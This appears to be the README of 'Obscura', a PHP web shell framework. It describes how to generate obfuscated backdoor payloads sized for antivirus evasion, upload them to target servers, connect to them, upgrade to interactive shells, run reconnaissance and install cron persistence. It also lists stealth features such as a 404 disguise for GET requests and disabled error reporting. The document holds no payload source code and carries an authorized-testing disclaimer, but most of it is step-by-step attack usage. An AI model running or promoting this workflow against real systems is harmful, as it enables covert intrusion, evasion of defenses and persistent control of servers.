A comprehensive, interactive web shell generator and management tool with stealth capabilities.
Obscura is a powerful web shell framework inspired by Weevely but with enhanced functionality, interactive CLI, and comprehensive command set. Designed for security research, penetration testing, and authorized assessments.
- Ultra-compact payloads for AV evasion
- 4 payload variants: Micro (<500B), Essential (~1KB), Standard (~2.5KB), Custom
- AV evasion analysis with heuristic scoring
- Multiple obfuscation techniques: XOR, Base64, GZIP
- Feature selection for custom payloads
- Full interactive TTY shells with job control
- Multiple upgrade methods: Python pty, script, socat, netcat
- Session management for multiple TTY sessions
- Capability checking to determine available upgrade options
- Background TTY processes with persistent connections
- Interactive CLI with tab completion and command history
- Modular Architecture for easy command extension
- Stealth Payloads with 5 obfuscation techniques
- Comprehensive Command Set covering reconnaissance, file management, system interaction, and post-exploitation
- Session Management with persistent connections
- Brand Integration - 0xfndlabs identity throughout
- Cross-platform PHP-based payloads
git clone https://github.com/0xfndlabs/obscura.git
cd obscura
chmod +x setup.sh
./setup.sh# Full featured payload
./obscura.py generate --output backdoor.php --key secret_key
# Minimal payload for AV evasion (micro variant)
./obscura.py generate --output micro.php --variant micro --key secret123
# Custom payload with selected features
./obscura.py generate --output custom.php --variant custom --features cmd,file,upload --key mykey
# Essential variant (core features)
./obscura.py generate --output essential.php --variant essential --key mykeyUpload the generated PHP file to your target web server.
# Connect to target
./obscura.py connect --url http://target.com/backdoor.php --key secret_key
# Once connected, use TTY features:
0xfndlabs@target.com> tty spawn # Spawn interactive TTY
0xfndlabs@target.com> tty upgrade # Upgrade current shell to TTY
0xfndlabs@target.com> tty list # List active TTY sessions
0xfndlabs@target.com> tty check # Check TTY capabilities# Analyze payload variants (in interactive mode)
./obscura.py interactive
0xfndlabs> gen_analyze
# Generate specific variants
./obscura.py generate --output micro.php --variant micro --key mykey
./obscura.py generate --output essential.php --variant essential --key mykey
./obscura.py generate --output custom.php --variant custom --features cmd,file --key mykey
# Test AV evasion (heuristic analysis)
./obscura.py interactive
0xfndlabs> modules # Shows available commands and AV detection info# Spawn new TTY sessions
0xfndlabs@target.com> tty spawn --shell /bin/bash --name mysession
# Attach to existing sessions
0xfndlabs@target.com> tty attach session_id
# Manage sessions
0xfndlabs@target.com> tty list
0xfndlabs@target.com> tty kill session_id
# Upgrade shells
0xfndlabs@target.com> tty upgrade --method python
0xfndlabs@target.com> tty upgrade --method script
0xfndlabs@target.com> tty upgrade --method socat
# Check TTY capabilities
0xfndlabs@target.com> tty check| Variant | Size | Features | AV Detection Risk |
|---|---|---|---|
| Micro | <500 bytes | Single command execution | Very Low (<5%) |
| Essential | ~1KB | Core features (cmd, eval, file, dir, info) | Low (5-15%) |
| Standard | ~2.5KB | Extended features without modules | Medium (15-30%) |
| Full | ~4KB | All features with modules | High (30-60%) |
| Custom | Variable | User-selectable features | Variable |
| Method | Requirements | Success Rate | Features |
|---|---|---|---|
| Python pty | Python with pty module | High | Full TTY, job control, tab completion |
| Script | script command available |
Medium | Basic TTY, limited features |
| Socat | socat installed | High | Advanced, bidirectional |
| Netcat | netcat/nc available | Low | Basic, no job control |
/home/elfnd/Documents/obscura/
├── obscura.py # ✅ SINGLE FILE - All features integrated
├── modules/ # Core modules
│ ├── recon.py # Reconnaissance module
│ ├── file_manager.py # File management module
│ ├── network.py # Network module
│ ├── persistence.py # Persistence module
│ ├── payload_generator.py # ✅ Minimal payload generator
│ └── tty_spawner.py # ✅ TTY spawner module
├── payloads/ # Generated payloads
│ ├── test_micro.php # Micro variant (616 bytes)
│ ├── test_full.php # Full variant (4KB)
│ └── *.php # Other generated payloads
├── config.json # Configuration
├── README.md # This documentation
├── DOCUMENTATION.md # Comprehensive guide
├── EXPANSION_VECTORS.md # ✅ Future development roadmap
└── obscura_original_backup.py # Backup of original version
- Authentication - HMAC-SHA256 key validation
- Stealth Mode - 404 disguise for GET requests
- Log Evasion - Error reporting disabled
- AV Evasion - Multiple obfuscation techniques
- Session Security - Encrypted communication (planned)
- Input Validation - JSON validation and sanitization
# 1. Generate minimal payload for initial access
python3 obscura_minimal.py generate --output initial.php --variant micro --key access123
# 2. Upload to vulnerable target
# 3. Connect and assess
./obscura.py connect --url http://target.com/initial.php --key access123
# 4. Upgrade to TTY for better control
0xfndlabs@target.com> tty upgrade --method python
# 5. Reconnaissance
0xfndlabs@target.com> recon system
0xfndlabs@target.com> network info
# 6. Install persistence
0xfndlabs@target.com> persist install cron
# 7. Generate full payload for extended operations
0xfndlabs@target.com> !python3 obscura.py generate --output full.php --key master123# Use minimal variants for lower detection
./obscura.py generate --output micro.php --variant micro --key stealthkey
./obscura.py generate --output essential.php --variant essential --key stealthkey
# Use custom payload with only needed features
./obscura.py generate --output stealth.php --variant custom --features cmd,file --key stealthkey
# Analyze AV detection risk
./obscura.py interactive
0xfndlabs> gen_analyze# Generate test payload
python3 obscura.py generate --output test.php --key test123
# Start local PHP server
php -S localhost:8080 test.php
# Connect and test
./obscura.py connect --url http://localhost:8080/test.php --key test123
# Test TTY features
0xfndlabs@localhost> tty check
0xfndlabs@localhost> tty spawn# Test minimal payload generator
python3 -c "from modules.payload_generator import MinimalPayloadGenerator; print('Generator loaded')"
# Test TTY spawner
python3 -c "from modules.tty_spawner import TTYSpawner; print('TTY spawner loaded')"0xfndlabs Research License - For authorized security testing only.
IMPORTANT: This tool is for:
- Authorized security testing
- Educational purposes
- Research and development
- Defense against unauthorized access
NOT for:
- Unauthorized access to systems
- Malicious activities
- Violation of laws or terms of service
Always obtain proper authorization before use.
- Minimal Payload Generator for AV evasion
- TTY Spawner with interactive shell support
- Enhanced documentation and examples
- Improved AV evasion analysis
- Multiple obfuscation techniques
- Initial release with core functionality
- Interactive CLI with command history
- 4 comprehensive modules
- 5 obfuscation techniques
- Session management
- Encrypted Communication - TLS/SSL support
- GUI Interface - Web-based management console
- Plugin Ecosystem - Community-developed modules
- Auto-Updating - Remote module updates
- Reporting Engine - Automated pentest reporting
- Multi-Protocol - Support for other backends (Python, Node.js, Go)
Built with ❤️ by 0xfndlabs Security Research Team